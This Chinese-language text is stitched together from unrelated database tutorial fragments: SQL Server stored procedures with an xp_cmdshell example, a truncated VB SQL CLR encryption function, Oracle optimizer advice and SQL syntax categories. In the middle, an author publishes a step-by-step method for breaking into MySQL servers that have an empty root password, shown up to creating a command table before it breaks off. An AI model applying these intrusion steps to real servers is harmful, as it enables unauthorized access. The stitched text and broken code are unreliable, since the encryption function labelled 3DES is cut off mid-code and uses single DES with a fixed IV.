存储过程入门与提高

存储过程入门与提高
什么是存储过程呢？
定义：
将常用的或很复杂的工作，预先用SQL语句写好并用一个指定的名称存储起来, 那么以后要叫数据库提供与已定义好的存储过程的功能相同的服务时,只需调用execute,即可自动完成命令。
讲到这里,可能有人要问：这么说存储过程就是一堆SQL语句而已啊？
Microsoft公司为什么还要添加这个技术呢?
那么存储过程与一般的SQL语句有什么区别呢?
存储过程的优点：
1.存储过程只在创造时进行编译，以后每次执行存储过程都不需再重新编译，而一般SQL语句每执行一次就编译一次,所以使用存储过程可提高数据库执行速度。
2.当对数据库进行复杂操作时(如对多个表进行Update,Insert,Query,Delete时），可将此复杂操作用存储过程封装起来与数据库提供的事务处理结合一起使用。
3.存储过程可以重复使用,可减少数据库开发人员的工作量
4.安全性高,可设定只有某此用户才具有对指定存储过程的使用权
存储过程的种类：
1.系统存储过程：以sp_开头,用来进行系统的各项设定.取得信息.相关管理工作,
如 sp_help就是取得指定对象的相关信息
2.扩展存储过程 以XP_开头,用来调用操作系统提供的功能
exec master..xp_cmdshell 'ping 10.8.16.1'
3.用户自定义的存储过程,这是我们所指的存储过程
常用格式
Create procedure procedue_name
[@parameter data_type][output]
[with]{recompile|encryption}
as
sql_statement
解释:
output：表示此参数是可传回的
with {recompile|encryption}
recompile:表示每次执行此存储过程时都重新编译一次
encryption:所创建的存储过程的内容会被加密
如:
表book的内容如下
编号 书名 价格
001 C语言入门 $30
002 PowerBuilder报表开发 $52
实例1:查询表Book的内容的存储过程
create proc query_book
as
select * from book
go
exec query_book
SQL2005支持在SQL SERVER里部署.net应用程序了，那么以前一直写在.net里的一些运算如加密等已经完全可以移到sql里来进行了，而不需要再从程序中运算了，使数据库可以和程序相对独立开来，方便了不少。
前阵子，需要给数据加密，所以写了个3DES加密函数部署到SQL2005中，当然,现在秘钥也作为一个表存在在数据库中,至于这个密钥,以后可以考虑用usb-key使用rsa加密或者别的方式进行加密,以保证数据安全。现在先说怎么实现部署到sqlserver中的加密函数吧。
新建一个项目。VB中的database-->SQL Server Project，我新建了以后叫做DESCryptoService的项目，之后，会让你添加数据库引用，选择你要部署到的数据库。
写入如下代码，就OK了
Imports System
Imports System.Data
Imports System.Data.SqlClient
Imports System.Data.SqlTypes
Imports Microsoft.SqlServer.Server
Imports System.IO
Imports System.Xml
Imports System.Text
Imports System.Security.Cryptography
Partial Public Class EncryptToBase64DecryptFromBase64Class EncryptToBase64DecryptFromBase64
<Microsoft.SqlServer.Server.SqlFunction()> _
Public Shared Function EncryptToBase64String()Function EncryptToBase64String(ByVal stringToEncryptsql As SqlString, ByVal SEncryptionKeysql As SqlString) As SqlString
Dim stringToEncrypt As String = CType(stringToEncryptsql, String)
Dim SEncryptionKey As String = CType(SEncryptionKeysql, String)
Dim IV() As Byte = {&H12, &H34, &H56, &H78, &H90, &HAB, &HCD, &HEF}
Dim key() As Byte = {}
Try
key = System.Text.Encoding.UTF8.GetBytes(Left(SEncryptionKey, 8))
Dim des As New DESCryptoServiceProvider()
Dim inputByteArray() As Byte = Encoding.UTF8.GetBytes(stringToEncrypt)
Dim ms As New MemoryStream()
Dim cs As New CryptoStream(ms, des.CreateEncryptor(key, IV), CryptoStreamMode.Write)
cs.Write(inputByteArray, 0, inputByteArray.Length)
cs.FlushFinalBlock()

MYSQL用户ROOT密码为空时是一个很大的漏洞，在网上也有许多一些利用此漏洞的方法，一般就是写一个ASP或PHP的后门，不仅很麻烦，而且还要猜解网站的目录，如果对方没有开IIS，那我们岂不没办法了？？

后来，自己思索想到一个办法，且在测试的几台有此漏洞的机中均获得了成功，现将攻击方法公布如下：

1、连接到对方MYSQL 服务器

mysql -u root -h 192.168.0.1

mysql.exe 这个程序在你安装了MYSQL的的BIN目录中

2、让我们来看看服务器中有些什么数据库

mysql>show databases;

MYSQL默认安装时会有MYSQL、TEST这两个数据库，如果你看到有其它的数据库那么就是用户自建的数据库。

3、让我们进入数据库

mysql>use test;

我们将会进入test数据库中

4、查看我们进入数据库中有些什么数据表

mysql>show tables;

默认的情况下，test中没有任何表的存在。

以下为关键的部分

5、在TEST数据库下创建一个新的表；

mysql>create table a (cmd text);

好了，我们创建了一个新的表，表名为a，表中只存放一个字段，字段名为cmd，为text文本。

6、在表中插入内容

1. 选用适合的ORACLE优化器
ORACLE的优化器共有3种:
a. RULE (基于规则) b. COST (基于成本) c. CHOOSE (选择性)
设置缺省的优化器,可以通过对init.ora文件中OPTIMIZER_MODE参数的各种声明,如RULE,COST,CHOOSE,ALL_ROWS,FIRST_ROWS . 你当然也在SQL句级或是会话(session)级对其进行覆盖.
为了使用基于成本的优化器(CBO, Cost-Based Optimizer) , 你必须经常运行analyze 命令,以增加数据库中的对象统计信息(object statistics)的准确性.
如果数据库的优化器模式设置为选择性(CHOOSE),那么实际的优化器模式将和是否运行过analyze命令有关. 如果table已经被analyze过, 优化器模式将自动成为CBO , 反之,数据库将采用RULE形式的优化器.
在缺省情况下,ORACLE采用CHOOSE优化器, 为了避免那些不必要的全表扫描(full table scan) , 你必须尽量避免使用CHOOSE优化器,而直接采用基于规则或者基于成本的优化器.
2. 访问Table的方式
ORACLE 采用两种访问表中记录的方式:
a. 全表扫描
全表扫描就是顺序地访问表中每条记录. ORACLE采用一次读入多个数据块(database block)的方式优化全表扫描.
b. 通过ROWID访问表
你可以采用基于ROWID的访问方式情况,提高访问表的效率, , ROWID包含了表中记录的物理位置信息..ORACLE采用索引(INDEX)实现了数据和存放数据的物理位置(ROWID)之间的联系. 通常索引提供了快速访问ROWID的方法,因此那些基于索引列的查询就可以得到性能上的提高.

SQL功能与特性
　　其实，在前面的文章中，已经提及SQL命令的一些基本功能，然而，通过SQL命令，程序设计师或数据库管理员（DBA）可以：
　　（一）建立数据库的表格。（包括设置表格所可以使用之空间）
　　（二）改变数据库系统环境设置。
　　（三）针对某个数据库或表格，授予用户存取权限。
　　（四）对数据库表格建立索引值。
　　（五）修改数据库表格结构。（新建、删除或是修改表格字段）
　　（六）对数据库进行数据的新建。
　　（七）对数据库进行数据的删除。
　　（八）对数据库进行数据的修改。
　　（九）对数据库进行数据的查询。
　　这几项便是通过SQL命令可以完成的事情，看起来是不是比起“查询”两个字所代表的功能要多的多了呢？
　　SQL语法的分类
　　其实SQL命令并不是非常多，可是要把SQL用到出神入化，却也只需要短短几个命令便够，因为SQL命令是针对关系型数据库所建立出来的语法叙述，所以SQL在这类数据库中所发挥的功能非常的强，以下将针对在VB中常用的SQL语法基本命令加以分类介绍。在说明SQL的命令以及使用语法之前，以下将SQL做了的分类，在致上SQL语法所使用到的类型，可以说都已包含在这些类别当中。
　　第一类、属性词（Predicates）
　　在SQL命令中用来指明所要选择的记录的方式。如ALL、TOP与DISTINCT等等。
　　第二类、声明（Declaration）
　　针对SQL Parameter或Parameter Query 的名称与数据类型做声明，如PARAMETERS的声明等等。
　　第三类、条件子句（Clause）
　　在SQL的查询中，利用一些表达式定义出查询的条件，以缩小寻找的范围，如WHERE。
　　第四类、运算符（Operator）与操作数（Operation）
　　在SQL的查询中，与Operation共同组成表达式（Expression），如BETWEEN....AND 运算符与INNER JOIN操作数。
　　第五类、函数（Function）
　　一些SQL常见的函数，像是AVG()是求算数平均数的函数。
　　第六类、SQL语句（Statement）
　　SQL的语句，可以说是SQL语法的主体，用来对某一个特定的数据库发出指示，并返回相关的数据，而SQL的语法结构，基本上可以利用下面
　　的式子来表示：命令＋条件子句
　　例如：
　　SELECT*FROM TAB WHERE TAB.NAME='A'
　　其中的“FROM....WHERE”便是一个条件子句，其实SQL的语法并不难，您只需记住这样的一个规则，相信可以很快的了解SQL用法。